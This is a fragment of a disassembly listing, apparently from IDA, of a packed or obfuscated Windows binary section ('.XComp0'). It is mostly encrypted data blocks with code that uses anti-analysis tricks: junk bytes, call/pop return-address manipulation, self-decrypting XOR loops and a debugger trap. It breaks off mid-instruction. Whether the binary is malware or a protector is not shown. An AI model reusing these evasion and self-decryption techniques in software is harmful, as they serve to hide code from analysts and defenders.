47B0D1A9h, 0E63B988h, 0BD1D1ADDh, 6C20BC15h, 7BA59ADFh dd 9E7087ACh, 0E437EACEh, 0DF253189h, 39DE339Ah, 0C318CBBEh dd 0BC9E597Eh, 0AE698827h, 61F1EA9h, 99294314h, 43B30DF9h dd 0A93E9678h, 2102EB0Ah, 614CAB4Ch, 7BD43582h, 0AB9CA363h dd 0F4381EDAh, 0FD5479CCh, 1DB20D5h, 9FC01802h, 0A0D7C94Bh dd 21BB9EB6h, 9D9F2455h, 0A13911E6h, 5504A039h, 0A3C09F24h dd 390D5505h, 0FFBC076Dh, 0E2758832h, 0EF88F088h, 9F24CD55h dd 9D271211h, 499F24CDh, 16C08D4Ah, 0E1A16E7h, 0F6F7A7BAh dd 5462Eh, 18E71200h, 0DF16BE03h, 16DF155Ch, 0DC1BBC01h dd 15E8125Fh, 3DCE8902h, 90DD5A9Bh, 3B829564h, 93DA5D94h dd 984975Eh, 9EB04CA5h, 7B2C9CDFh, 567E1381h, 0E3155C9Fh dd 2EE32812h, 77728335h, 866679Ch, 0DF02D56Fh, 4D92919Ah dd 93408D8Ah, 0D8D124D2h, 2EBA23FBh, 969ADF02h, 311328DBh dd 9A5D7E13h, 0DAA7742Fh, 7F60BA3Dh, 96F6B72Ah, 6C5D9A81h dd 0F205F025h, 579E5398h, 0AD3A7D56h, 6C057590h, 9CA0CA2Bh dd 17DE165Bh, 7897E8C4h, 90531079h, 0A84CA11Dh, 13AB8E49h dd 339F26CAh, 5A9D3ED3h, 1FF5C29Dh, 0ACD30CAh, 629340FDh dd 86391A93h, 7D1B3C94h, 0EF5295C5h, 0C1D14BEh, 0DB3065B9h dd 0AB583D20h, 0CBC69959h, 0D6720B73h, 8E9ADFABh, 0EF324375h dd 0C0036A2Dh, 131400FBh, 609B5A7Eh, 9811E411h, 0D05D4516h dd 63ECBDA5h, 0C92CC998h, 7997EC4Eh, 95AC3F7Ch, 1D720A74h dd 458CFDF8h, 5C9F6491h, 0A0BEAC01h, 6E5F129Ch, 26BE490Fh dd 5DDA699Fh, 7B9AEF87h, 0BE07A17Ch, 0C4BF9F26h, 3EAF466Dh dd 5F989265h, 0F0827B22h, 85h, 74DCF98Eh, 26C641DBh, 0B906FD9Fh dd 3AB34274h, 0E0329E59h, 7ED64861h, 5E1CC25Dh, 3921F62Dh dd 0DF5504A0h, 0F6C1C09Ah, 0A0477E13h, 84CFA49Ch, 69D17C6Ah dd 24D3004Dh, 4535EAA9h, 72579034h, 0F7C4E47Ch, 2DE32886h dd 0B21AF3C8h, 0C79F2647h, 5FDFCA27h, 26476AF6h, 521FD29Fh dd 0CA5455A8h, 0C5B3E477h, 439B7146h, 26470E9Ah, 76BBB69Fh dd 5E35B83Fh, 9D58A199h, 0B338827Bh, 0F625F2FFh, 0ECh dd 6F126EAh, 0D21FCF14h, 8B2D9405h, 6AFF7F6Ah, 236AAD50h dd 3B8607EEh, 82DC5F96h, 2E781DAh, 0A45F9ADFh, 1EA4F657h dd 4B19ADFh, 5C7889F1h, 3D02B69Bh, 1C7E793Eh, 0F7DC1B3Bh dd 9C5FBAE1h, 0D4D520D5h, 0B14A0A27h, 9ADF5417h, 2F0FD4CFh dd 0A079E5C6h, 0DE165B9Ch, 0BC4FCC17h, 62FA6485h, 41C761FAh dd 0E3149F26h, 2EE9A814h, 5A4D984Bh, 0CB038899h, 0FCF7D126h dd 0CA2BCD22h, 477B8F70h, 0D2586CA7h, 19BB0205h, 0B2029E37h dd 0C7BA9ADDh, 2D45C1FCh, 0A326ADB3h, 2F201h, 0DC1BBE00h dd 13E2125Fh, 0DA1BB908h, 18E7105Dh, 0D91CBE03h, 9122DD5Eh dd 3C819667h, 8FDE5998h, 37869160h, 5DE05B9Ah, 9CCC5801h dd 7F789CDFh, 1F42615h, 0D423D419h, 0D9AA0407h, 13B05350h dd 0A2561B54h, 1CB98853h, 0C6EC81D9h, 856FEC2Fh, 0FD37F213h dd 0E32C4DE9h, 0ED2E0318h, 6492330Ah, 6A3B1891h, 0F12E3312h dd 25CC0489h, 0B2DF78D2h, 0F29CA0C7h, 9391911h, 1DDA8A44h dd 2EBA23BBh, 969F26E0h, 0E0039D36h, 0C8BB9F26h, 68C5C8FBh dd 9F26E0E0h, 0C0B68100h, 827B0077h, 0CA56FF57h, 729F26ECh dd 0FC933C7Fh, 29000000h, 8306F126h, 0C235E62Bh, 6DAA476Bh dd 1707F620h, 0DAD322D2h, 72CBBEF9h, 9ADF1E18h, 0BC5DB24Ah dd 644E039h, 64959ADFh, 0AF6C2791h, 35C235E2h, 809ACBE8h dd 8C570C7Dh, 63BC9D21h, 9FBD17h, 7CB14691h, 0E1CC29C7h dd 0F45DBD02h, 9CA0B2B7h, 0ADBE5AAFh, 25FEEF06h, 5D34EFDAh dd 935039BCh, 0AAAD6448h, 1505201Dh, 5AFAA8BCh, 26CB1499h dd 92E7DECFh, 0DB168E43h, 502AF52Ah, 43B263A8h, 0FF4E894Ah dd 985F96D5h, 76813E15h, 0ECCB4314h, 87C4657h, 0A94C6EB3h dd 0B305FC70h, 3CE8E1ADh, 1A3h, 0A2B5446Fh, 0B93EB35Bh dd 0A4B73E74h, 0BE39BC5Dh, 0A3B8456Fh, 3ADC6F2Ch, 0C5F140BBh dd 37DE2338h, 0C1F63BC0h, 46A82136h, 0DF9D13ADh, 0DEDECB9Ch dd 0F601F426h, 35460AA7h, 0BE1AC8F6h, 7D0772CCh, 0E99ADF68h dd 43B2632Ah, 0C156894Ah, 0DC681169h, 889ADF68h, 13624E89h dd 0E70C597Eh, 3908D310h, 811BB49Ch, 469ADF02h, 56CCC846h dd 130EEAF3h, 8061DDD0h, 8F3702E9h, 21D0FF05h, 0E338EBA8h dd 797E799Eh, 70914FEEh, 826892BAh, 21BB9EBAh, 9D9ADF5Eh dd 984119E6h, 9CD8CF9Ah, 3DC730C8h, 0A99CDFCFh, 46CB2DEAh dd 0BC9E6194h, 0E042409Bh, 9562FDEEh, 0BD38DD24h, 0D1797C5Dh dd 0D74C5997h, 1DBA0704h, 3F0A2435h, 8016C018h, 0DF7A039Dh dd 0FBC8BB9Ch, 2EFD4223h, 0DB1B7503h, 13966196h, 0AB127B40h dd 0F5387A72h, 69649145h, 91FCFB18h, 9F567BD2h, 3560572Eh dd 2446FCC0h, 0C9FABD1Ch, 0B58B503Bh, 77728130h, 0E5125F9Ch dd 5CA75680h, 0AD486D02h, 0F88DED6Ah, 0F6AD20DFh, 127B7A97h dd 1AB78651h, 0F04AAB49h, 0BFAAFD87h, 75AA69BBh, 13548005h dd 0DCCD12DFh, 78C9B407h, 0DF2DA05Fh, 372CCA1Fh, 0B1725B9Ah dd 53A87B6Eh, 20653B00h, 0B34270F1h, 23A6593Ah, 31E6AB70h dd 0C7EC31C6h, 61A64E30h, 4FD944B1h, 8CBBBFAAh, 43208968h dd 1CD39A59h, 0BCFFD4D5h, 6C056DD1h, 0BBBFAAD0h, 0CD29778Ch dd 332A1D09h, 14092BF0h, 0EB000000h, 0B361A6D8h, 9C4D9624h dd 0E41FF62Fh, 7F7E98E9h, 260D7744h, 388904F3h, 20715C9Bh dd 3A8702F1h, 236E5F9Eh, 388904F1h, 236E5F9Eh, 378A03F2h dd 20715C99h, 0F68801F0h, 5E08950h, 4, 8704E883h, 895C2404h dd 8957242Ch, 4C781E7h, 83000000h, 3C8704EFh, 1C895C24h dd 4EC8124h, 89000000h, 55522404h, 0E90991BDh, 5DEA8939h dd 178887BBh, 5AD301CCh, 539A68h, 24248900h, 4240483h dd 8B95158h, 1000000h, 8B1989C1h, 0C483240Ch, 2434FF04h dd 4C48358h, 57241C8Bh, 0C781E789h, 4, 8704C783h, 0E95C243Ch dd 0FFF9E231h, 1B1CDCDDh, 0A522B05Ch, 4D4106Ch, 0A17FB8h dd 0FFC50306h, 88E4E8E0h, 1F659415h, 8F90E57Dh, 0C8FE3618h dd 0F2F3E873h, 0B532C357h, 5C3B9916h, 29DABE43h, 0C9AB1818h dd 0AEAA2B05h db 1Bh byte_5E5825 db 2 dup(8Dh), 2Eh ; DATA XREF: .XComp0:0058373Do dd 0E80600A3h, 0Eh, 5F1B3DDAh, 0FE9B5F3h, 0A1959FFh, 5E9785Dh dd 0C4000000h, 158FC8DEh, 0DD8D8958h, 6A05F90Ch, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0D556C352h, 8BED952Ah, 0F933D9BDh, 0C185C705h, 6405F926h dd 0C7000059h, 0F900FD85h, 5, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 0E9BC6FCDh dd 8, 9D807870h, 0C4C9E7DEh, 0FF26C780h, 0F91771B5h, 57006A05h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 36A323Dh, 85016455h, 5F91829h, 20D595FFh, 6A05F9h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 1DA848C3h, 0D9FC7465h, 9D8B7E5Ah, 5F929A1h, 95FF006Ah dd 5F91AEDh, 78EBC08Bh, 69CA5FDCh, 0F9E7CE84h, 0BC11F4F7h dd 6864C8FDh, 0B20230FEh, 8ACA3677h, 0C4339D7Fh, 93C11113h dd 0DFBD2D2h, 22137FE0h, 0C66B85F6h, 0B18197AFh, 6B4E41E5h dd 0AAE19B91h, 0E4415BC8h, 63AE3C4Dh, 108AF5A2h, 0BF78C522h dd 0AB2DE850h, 3E902D97h, 8C019A62h, 716FF863h, 0FED7F782h dd 596A70A5h, 0AF24355Eh, 754363C5h, 32BD71D0h, 3552EAh dd 766A5761h, 729E47AFh, 0BE8h, 686D8400h, 0C92AD151h dd 22C31BC1h, 31A18D31h, 605F05F9h, 83C78161h, 0B9000062h dd 2EF0D0D1h, 0B8h, 0F3BF0F00h, 813834FFh, 0FBD6BED6h dd 0DCBE5A5Ch, 813688FBh, 0C54C93C2h, 8191B165h, 539785C2h dd 899D8B05h, 8105F904h, 5C4EE6C2h, 14E97Dh, 9BEE0000h dd 0E067F604h, 0F573D509h, 7F17D451h, 0D3F585C0h, 148992BEh dd 0FE807h, 3560000h, 520782E1h, 0D1AEDA10h, 17BB43E9h dd 0E58589ECh, 5E05F90Dh, 4A5AE881h, 0BB663860h, 0C08193B7h dd 38604A56h, 0F881F08Bh, 0FFFF9E24h, 0FF82850Fh, 8D8BFFFFh dd 5F91AB9h, 10E8h, 5F8AAA00h, 8B925368h, 0E5D19251h, 52426BA1h dd 25B58B1Dh, 5A05F911h, 5E9h, 10FE4800h, 0C2816D36h, 7297h dd 0BFDF8B66h, 0 ; --------------------------------------------------------------------------- mov esi, [ebp+5F905A5h] loc_5E5A82: ; CODE XREF: .XComp0:005E5AE8j mov eax, [edx+edi] mov [ebp+5F926B1h], ebx add eax, 4591F09Eh mov cl, 9Dh xor eax, 16F46132h xor cl, 0BCh add eax, 34CB028Dh jmp loc_5E5AAD ; --------------------------------------------------------------------------- align 4 dd 99186C6Dh db 35h ; --------------------------------------------------------------------------- loc_5E5AAD: ; CODE XREF: .XComp0:005E5AA2j mov [edx+edi], eax or [ebp+5F914FDh], ecx stc sub edi, 7B63A4EAh jmp loc_5E5AD6 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- push es stc add ds:8F4E7DC4h, al mov ebx, 0AAF12583h cmp [ebx+7D779FD0h], al loc_5E5AD6: ; CODE XREF: .XComp0:005E5ABDj add edi, 7B63A4E6h adc ecx, 0CAECBBDh cmp edi, 0FFFF8E0Ch jnz loc_5E5A82 or [ebp+5F91541h], edx lea ecx, [ebp+600A58Dh] push 0 push edx call sub_5E5B05 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5E5B05 proc near ; CODE XREF: .XComp0:005E5AFDp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5E5B05 endp ; --------------------------------------------------------------------------- wait mov al, dh mov esi, [ebp+5F931E5h] mov edi, ebx mov [ebp+5F90CDDh], ecx add esi, 1147E993h mov dword ptr [ebp+5F926C1h], 6DE4h mov dword ptr [ebp+5F900FDh], 0 jle loc_5E5B53 jmp loc_5E5B53 ; --------------------------------------------------------------------------- db 27h dd 0CF924F3Eh db 0F4h, 29h, 66h ; --------------------------------------------------------------------------- loc_5E5B53: ; CODE XREF: .XComp0:005E5B40j ; .XComp0:005E5B46j push dword ptr [ebp+5F9159Dh] jmp loc_5E5B6C ; --------------------------------------------------------------------------- dw 0C608h dd 11CE06FEh, 1ED07C36h, 2C5003F7h ; --------------------------------------------------------------------------- loc_5E5B6C: ; CODE XREF: .XComp0:005E5B59j call dword ptr [ebp+5F920D5h] stc push 0 call dword ptr [ebp+5F91AEDh] mov eax, eax jmp short loc_5E5B97 ; --------------------------------------------------------------------------- db 0D2h dd 0D5F975E2h, 1A83FA23h, 45048049h, 2E402438h, 0AAA51868h db 14h, 0EDh, 0E9h ; --------------------------------------------------------------------------- loc_5E5B97: ; CODE XREF: .XComp0:005E5B7Dj lea ecx, [ebp+600A64Dh] jmp loc_5E5BB5 ; --------------------------------------------------------------------------- dw 1B18h dd 0E42156A8h, 3C1C6F2Dh, 0E9C702EFh, 0A9010129h ; --------------------------------------------------------------------------- cli loc_5E5BB5: ; CODE XREF: .XComp0:005E5B9Dj mov [ebp+5F90CDDh], ecx push 0 push eax call sub_5E5BC6 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5E5BC6 proc near ; CODE XREF: .XComp0:005E5BBEp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5E5BC6 endp ; --------------------------------------------------------------------------- movlps xmm0, qword ptr [eax-8] mov dword ptr [ebp+5F926C1h], 6EB4h sub [ebp+5F925C1h], edi mov dword ptr [ebp+5F900FDh], 0 mov esi, [ebp+5F9157Dh] push dword ptr [ebp+5F91799h] push 0 push ebx call sub_5E5C0B and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5E5C0B proc near ; CODE XREF: .XComp0:005E5C03p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_5E5C0B endp ; --------------------------------------------------------------------------- sub esi, [edx-30B66C1Ah] movsd push edx or bl, 40h pop eax call dword ptr [ebp+5F920D5h] jb $+6 push 0 call dword ptr [ebp+5F91AEDh] mov eax, eax jmp short loc_5E5CA7 ; --------------------------------------------------------------------------- db 80h dd 0A706D960h, 229DFC98h, 15DBBD90h, 5CCCD363h, 9D59CBB3h dd 0C5F186BDh, 5B692BB5h, 25497930h, 0F1539D5Fh, 7C42E568h dd 0E9F63EBCh, 0FD2A8D0Ah, 0CA4B8516h, 84546A8Dh, 0D687F8CBh dd 4FEBD625h, 6A274FF9h, 9A207CA6h, 98AEC347h, 5A745B2Dh dd 48FB14Bh, 159B656Ah, 673768A3h, 0FD80986Bh, 0FD7C39E4h db 8, 0BAh, 22h ; --------------------------------------------------------------------------- loc_5E5CA7: ; CODE XREF: .XComp0:005E5C3Dj jmp loc_5E5CDB ; --------------------------------------------------------------------------- dd 10B727C9h, 0Ah dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_5E5CDB: ; CODE XREF: .XComp0:loc_5E5CA7j jmp loc_5E64C2 ; --------------------------------------------------------------------------- dd 29DB3699h, 37ED22BEh, 23D92A90h, 36EE17C4h, 28DC2B8Fh dd 4E8970Ah, 0D8F6E103h, 7E61133h, 0D2FBDA02h, 1EDB093Bh dd 95DF7CFDh, 0AD54F923h, 0DFB6C754h, 76332395h, 0D931EC9Eh dd 0D363CAEDh, 8831CE6Dh, 0B51AD97Dh, 0B816A158h, 474EB921h dd 2EB75792h, 0BB66A149h, 85A4D586h, 64212996h, 94BA517Bh dd 7B923B9Ah, 9DE07BC6h, 1A299685h, 1720C96Dh, 515657B6h dd 9577A26Dh, 0E2713077h, 2995F097h, 7F856714h, 0CD5790Ch dd 0B4B8A6A1h, 7801120Bh, 32995ECh, 51B0BD37h, 8C796D79h dd 0DA389C45h, 0C20D97E3h, 47B26EAAh, 0A36E9B06h, 0B980A993h dd 966ADF9Ah, 8F9F5C29h, 558C7D60h, 7B98856Ah, 29966B02h dd 4647827Fh, 0A7A54193h, 0DC8886DEh, 0F6D5003Ah, 0D712FDE1h dd 2DEE13D6h, 2995A84Ch, 0EF01DC2h, 9E0FFEDFh, 1F006CBh dd 5AF940DBh, 2995A81Fh, 2954DF9Ch, 0A62995A8h, 0A82F4A09h dd 0EFAC2995h, 0AD4AEF3Ah, 915AFC0Fh, 0D0C54AA6h, 910403E7h dd 401E4C3Bh, 250753BAh, 1AA126C6h, 62A6CCFCh, 2B9475A7h dd 46A549C0h, 0E27164A9h, 2995A694h, 96705E39h, 4D2F82DAh dd 999Bh, 976E6600h, 0A5839606h, 8C79BF4Fh, 0C7587863h dd 9685F18Ch, 78B16E29h, 0E4973CB1h, 87299685h, 88642230h dd 4D4D2F5Dh, 11h, 52C12790h, 9679B8C1h, 81483529h, 0C353B816h dd 8831CE7Dh, 6C78DD60h, 5FAAC3A4h, 4FC020CFh, 5EB10DAAh dd 736C8257h, 0ADD08BB6h, 2A2995A3h, 0A2679E4Bh, 5C815D8Ch dd 43169770h, 0BB20078Eh, 5C51B218h, 0DC51448Dh, 0D1EDFFEBh dd 0FE09B14Eh, 681122F7h, 0E52995A3h, 0C448F138h, 0ED27653Ah dd 0EED0C70Eh, 2DC1981Dh, 12FBE403h, 73CE54EAh, 968595E8h dd 1151229h, 9920CAF2h, 0EFDE28ECh, 8934F4D8h, 0F9A58FCDh dd 3FCBD30h, 0D42333DAh, 43FE23ECh, 95A56518h, 1125E229h dd 20EFCFD8h, 0E522CAADh, 0F1DD28F0h, 0DF2C0210h, 2BE6C97Eh dd 14184621h, 5CBD5FA8h, 0CA0376A5h, 83802995h, 5558B11Ch dd 5A837284h, 0D056E596h, 0FF1C8872h, 2996487Eh, 0EC30EFBh dd 0D93AA087h, 96483F3Ah, 0C2C8CA29h, 8E6532A5h, 2FA66B18h dd 7065A648h, 30A56487h, 6568A747h, 735FAEB4h, 6C7A95ABh dd 769935C2h, 7F84AA7Fh, 4D2F5D1Dh, 5CB10EA9h, 0B26E8059h dd 0C5h, 8C31CE94h, 0AE6D0C81h, 299685CBh, 80965B48h, 648C4971h dd 0CA6F66ABh, 8599E46Fh, 0AB0F2996h, 1E80595Ch, 0B55A7661h dd 9B6852A1h, 0A6B4831Ah, 3BE126C6h, 4424F6DEh, 22FD66D1h dd 0AFDDD0Ch, 0CE37A483h, 0CFDE0C7h, 0CD429E89h, 6D794CC8h dd 2592A7B1h, 9C4D40C3h, 675F8B7Ah, 4D2FC405h, 11E55BB1h dd 8F195972h, 529E02Fh, 7919h, 0F2DBE400h, 2FBF9A1Bh, 0A7608C09h dd 529A4126h, 142FD916h, 0C079B03Ch, 0EB9FDA79h, 0B7152995h dd 16886154h, 1B1CC569h, 585F56ADh, 8B229374h, 28F0AEBCh dd 0C546A80Fh, 0EA84D231h, 0ACF571E2h, 44BB7D13h, 0AB7E6F98h dd 6A806C8Bh, 8028B60Dh, 49FB36FAh, 8831CEE7h, 0B61AD97Dh dd 0CBAF5459h, 70299685h, 0E37D4995h, 0B34D2F5Dh, 5B6AF061h dd 0A2C2C40h, 11Eh, 31CEE800h, 659E4C89h, 9C7029ACh, 4786FF4Bh dd 54A3B3BEh, 57806B66h, 4E1B9271h, 60474E83h, 67725C7Fh dd 474E8382h, 15A25792h, 8A5F56B9h, 507C7B64h, 893136B7h dd 7691777Eh, 0E495C668h, 612995BDh, 36D56DA4h, 7D964428h dd 95BD9BDEh, 0A66B1829h, 65CCA7Eh, 319926DBh, 4CD36A4h dd 1336D891h, 2F8EDF1Fh, 48CC7532h, 168C62CDh, 0C444D30Dh dd 9216CC20h, 6405DE70h, 16976E5Bh, 966F5C43h, 45A44A1Fh dd 3D6548A8h, 45A6D9F4h, 17F558Ch, 7DB20E71h, 3DD2AB68h dd 524F239Dh, 1ABD7797h, 945558B5h, 36374B40h, 49ED7EA5h dd 9D6F7106h, 0D5010C23h, 0E517F6D7h, 0BD30DD02h, 0AC3818FCh dd 0AFB07981h, 816F509Fh, 6BB16C52h, 199C5573h, 0F0BEAC7Bh dd 0C22E107h, 0D70D00DDh, 0D65F560Ah, 2370F48h, 27D20000h dd 9D7791ECh, 22E10723h, 92FBFBCh, 83169FFh, 1B3BCAEFh dd 9189FD1Eh, 90272F8Fh, 0C23ADC2Dh, 13DE2593h, 0FBE0D7A2h dd 0E805E40Ah, 4B42C9F3h, 3F8A836Ch, 4A73528Ah, 8E5D2C3h dd 0C8E149E8h, 25ECD282h, 0E221C7B0h, 28E10CEBh, 322057A5h dd 0D905E06Ch, 9443AA15h, 3EEBE22Bh, 2B9463F3h, 3BB53AE2h dd 0B48D68Eh, 0AC11CCF4h, 74BD6C61h, 25A85F8Bh, 0B946E274h dd 99000000h, 0A6CAB360h, 0D182239Ch, 239CA6A8h, 99867825h dd 65FFBF75h, 0CA350C35h, 35E4E926h, 96855326h, 43D3D029h dd 65F64BF6h, 29968514h, 0CF829491h, 0A996848Eh, 824F7986h dd 7578B15Eh, 0BD6A92A4h, 84F28B38h, 8768A996h, 0A96A0F86h dd 0A99684D0h, 8467504Dh, 0C9BC1085h, 9C6BC19Dh, 174BD14Eh dd 128CEAE2h, 6F1B49A9h, 25A752DFh, 8D1CE27Fh, 92B5595Bh dd 29966BC7h, 769738BFh, 8E2DAA7Fh, 4923DB7Bh, 0ED9B14C0h dd 14F7D531h, 0E7ED14DDh, 5F3B35DCh, 227F5550h, 0AF28ED1Ah dd 3240E20h, 0BF5C1D3Eh, 2CD92995h, 10BE90Ah, 0BC100000h dd 8AAE2CE3h, 88AE4075h, 5B1469FFh, 7BBE66EEh, 0F7215D57h dd 19F1BF15h, 2D8E29D0h, 40F936D8h, 0CEE1A3CCh, 0CDF15467h dd 0E4678742h, 2F8F05A2h, 0CE0FAF48h, 0DDD019EEh, 37EFF1Ch dd 0EFB239Dh, 0EECB33C3h, 9D034C2Dh, 15DCC923h, 0D73697A0h dd 0CDFB0425h, 44EABF36h, 1CC548A5h, 0DECF36A3h, 5102EB0Bh dd 239D0423h, 0D19DC9C4h, 292EB28h, 120F239Dh, 3DD0EDFCh dd 5B1E3D04h, 0D8239D02h, 39310B2Bh, 8DCE73AFh, 299DA9A7h dd 0ABB4E3E9h, 0E2DB3A73h, 76DAA44Ch, 0DB6FDFF7h, 3C053CF5h dd 3E0CF3D8h, 0FD1E2D84h, 1D9C4D7Ch, 1EA0CF9h, 6EB7D438h dd 0CD163582h, 0F825CA29h, 9C26225Bh, 0D9B6AD1Dh, 0E15237F5h dd 78F8E3FDh, 0D0C0E427h, 0DADDD019h, 97A015F2h, 0F1DBD231h dd 20B4720h, 0D7AE0A67h, 0C04FD38Bh, 3F9B0D92h, 4DC01D9Ah dd 0B07D9148h, 0B84D6E89h, 7FD26435h, 239CCEB9h, 0F821C3C0h dd 92DDCFFh, 0FF69FF33h, 0ECBD30DFh, 0D703FC25h, 2111E30h dd 2F972C32h, 755E8B74h, 7578B154h, 8B6A92A4h, 0B8577760h dd 64AD7C71h, 0A4698671h, 0BC209780h, 535AB519h, 4CAB4B86h dd 8B2C4DA3h, 3B880747h, 7CB57C93h, 9EDF7CC5h, 1B2395A7h dd 741FC86Eh, 3A4D30DCh, 0C3CA43ACh, 0A213FCE4h, 0DB83CFB6h dd 0C3288F5Ah, 935EAF10h, 58A74722h, 6D5B640Ah, 1C917A64h dd 8372844Dh, 6691B35Ah, 26118489h, 57AC0EC5h, 907F1B92h dd 88856A42h, 0A44CB354h, 0C32CCB6Bh, 0D62434Ah, 9E000000h dd 4E8B31CEh, 5F569B70h, 3A08648Ah, 29AC658Ch, 696CA13Eh dd 23AA5F7Eh, 7C719A44h, 35B84F7Bh, 787D8A32h, 3ABB4A6Fh dd 75788B2Dh, 0CCC14E72h, 24B4681Bh, 8F540000h, 4812404h dd 424h, 52DA6800h, 3C890000h, 0E1895124h, 4C181h, 0E9810000h dd 4, 5C240C87h, 68243489h, 600A6F3h, 348B545Fh, 4C48124h dd 81000000h, 4ECh, 243C8900h, 8B08468Fh, 89522434h, 4C281E2h dd 81000000h, 4C2h, 24148700h, 243C8B5Ch, 5E08950h, 4 dd 405h, 24048700h, 0D044E95Ch, 6CEDFFF8h, 54CCCB98h, 0A1049C96h db 54h, 0D5h ; --------------------------------------------------------------------------- loc_5E64C2: ; CODE XREF: .XComp0:loc_5E5CDBj mov eax, 600AE50h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 19h dd 0C4579B63h, 91379F20h, 9E1A1D94h, 9455DAD2h, 363FFC7h dd 0DF0B3176h, 0F96F67BDh, 3F2A728Fh, 5D65C1BBh, 1B32B2CBh dd 0BF7C092Bh, 0DD749015h, 0EC4B12CBh, 7A0C505Ch, 2709EC07h dd 8D02EA40h, 0B0028Dh, 77BA6606h, 0DD8D8927h, 6A05F90Ch dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 4B90C350h, 0CB27A6F7h, 0CF81667Dh, 85C73AD1h dd 5F926C1h, 6978h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 35C35242h, 63C5AF24h, 71D07543h, 6FDB58Bh dd 85C705F9h, 5F900FDh, 0 ; --------------------------------------------------------------------------- push dword ptr [ebp+5F913ADh] push 0 push edi call sub_5E6591 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5E6591 proc near ; CODE XREF: .XComp0:005E6589p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Dh inc edi push edi retn sub_5E6591 endp ; --------------------------------------------------------------------------- xchg eax, ebx push esp dec edi enter 0FFFF8F46h, 43h ror ebp, 8 mov dx, 97DDh call dword ptr [ebp+5F920D5h] push 0 push edx call sub_5E65C0 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5E65C0 proc near ; CODE XREF: .XComp0:005E65B8p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5E65C0 endp ; --------------------------------------------------------------------------- jl short loc_5E65F8 clc pop eax lodsb cmp al, 1Fh jmp loc_5E65E2 ; --------------------------------------------------------------------------- push es mov edi, 0B29091DEh loc_5E65E2: ; CODE XREF: .XComp0:005E65D7j sbb esi, 4D4C12FDh push 0 call dword ptr [ebp+5F91AEDh] mov eax, eax jmp short loc_5E6623 ; --------------------------------------------------------------------------- dd 80EBB1EFh ; --------------------------------------------------------------------------- loc_5E65F8: ; CODE XREF: .XComp0:005E65D0j push esi mov [ebp-35E9C7D9h], ecx jmp far ptr 7C50h:33E9615Ah ; --------------------------------------------------------------------------- dw 0B62Ah ; --------------------------------------------------------------------------- push ss enter 0FFFFAC77h, 0EDh push ecx cld add al, 1 setalc scasd cmpsd mov ebx, 0F44ABE3Bh cli dec esi push cs loc_5E661C: ; CODE XREF: .XComp0:005E6664j add ebx, [ecx-7A83DE82h] dec ecx loc_5E6623: ; CODE XREF: .XComp0:005E65F2j call sub_5E6635 dec esi int 3 ; Trap to Debugger dec ecx jb short near ptr loc_5E6651+1 or dl, [ecx-3774B4DCh] push edx pop ebx ; =============== S U B R O U T I N E ======================================= sub_5E6635 proc near ; CODE XREF: .XComp0:loc_5E6623p cmc pop esi jge loc_5E6640 movsx edi, dx loc_5E6640: ; CODE XREF: sub_5E6635+2j add esi, 66D8h mov edi, [ebp+5F91895h] mov edx, 1984h loc_5E6651: ; CODE XREF: .XComp0:005E662Bj or cl, 0Eh loc_5E6654: ; CODE XREF: sub_5E6668+80j mov ebx, [esi] pusha cld call sub_5E6668 aam 72h retn 1821h sub_5E6635 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xor al, 4Eh loopne loc_5E661C dec esp pop es ; =============== S U B R O U T I N E ======================================= sub_5E6668 proc near ; CODE XREF: sub_5E6635+23p arg_5CE4CAB0 = byte ptr 5CE4CAB4h pusha popa pop eax popa sub ebx, 7CD6975Fh mov [ebp+5F920D9h], esi add ebx, 5B95AB5Dh cld xor ebx, 2C05CBFBh mov di, 1AA4h push ebx movzx eax, ax pop dword ptr [esi] mov eax, [ebp+5F912D5h] sub esi, 7FF7CC25h mov [ebp+5F92BBDh], ebx add esi, 7FF7CC21h movsx ecx, cx sub edx, 1 jnz loc_5E66E5 jmp loc_5E66CC ; --------------------------------------------------------------------------- db 0Dh dd 0B3C3BA8Bh, 0C94AE5E0h, 741C27A1h, 0B679795h ; --------------------------------------------------------------------------- loc_5E66CC: ; CODE XREF: sub_5E6668+4Ej jmp loc_5E66F4 ; --------------------------------------------------------------------------- db 48h, 0B7h, 94h dd 17184A0Ah, 497BC23h, 0CFB18B32h, 0D676039Dh ; --------------------------------------------------------------------------- inc esi loc_5E66E5: ; CODE XREF: sub_5E6668+48j movsx ecx, di jmp loc_5E6654 ; --------------------------------------------------------------------------- db 0FBh, 4Dh, 79h dd 240E290Ch ; --------------------------------------------------------------------------- loc_5E66F4: ; CODE XREF: sub_5E6668:loc_5E66CCj call sub_5E6708 pusha xchg eax, ebx inc ebx and eax, 9EB3C1B1h xchg bl, [esp+edx*8-4+arg_5CE4CAB0] sub_5E6668 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5E6708 proc near ; CODE XREF: sub_5E6668:loc_5E66F4p mov cx, di pop ebx mov ecx, [ebp+5F91259h] add ebx, 616Eh mov edi, [ebp+5F90FEDh] mov eax, 0 and cx, 30Dh loc_5E6728: ; CODE XREF: sub_5E6708+97j mov edx, 